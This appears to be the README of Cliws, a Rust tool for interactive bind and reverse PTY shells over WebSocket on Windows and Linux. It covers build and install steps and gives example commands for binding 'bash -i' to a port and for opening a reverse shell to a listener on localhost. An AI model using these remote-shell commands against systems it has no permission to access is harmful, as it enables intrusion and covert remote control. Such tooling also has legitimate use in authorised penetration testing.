Cliws

Lightweight interactive bind/reverse PTY shell with Windows&Linux support implementation by Rust.

Features

• WebSocket
• Full pty support: VIM, SSH, readline, Ctrl+X
• Auto set terminal window size.
• Reverse connection / Bind port
• Support Win10+(Windows Server 2019+) & Linux

Build & Run

$> cargo build --release

$> ./target/release/cliws

Installation

$> cargo install cliws

Usage

Bind Mode

You can run a bash and listen port at 8000

$> ./cliws -p 8000 bash -i

then connect and get a comfortable shell.

$> ./cliws -c ws://127.0.0.1:8000

Reverse Mode

First listen a port wait for shell

$> ./cliws -l 8000

then build a reverse connection

$> ./cliws -r ws://127.0.0.1:8000 bash -i

Example

Linux

Windows(Reverse Mode)

Invalid Characters

In Windows(Windows Terminal), the default CodePage encoding is UTF-8. When encountering the target of other language operating systems, invalid characters may occur. You can try the following methods to solve it.

Open Regedit and modified [Machine]\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage\OEMCP value is 65001(DEC).

Reference

• https://github.com/t57root/amcsh

• https://github.com/philippkeller/rexpect

• https://github.com/zhiburt/conpty

• https://securityonline.info/conptyshell-interactive-reverse-shell/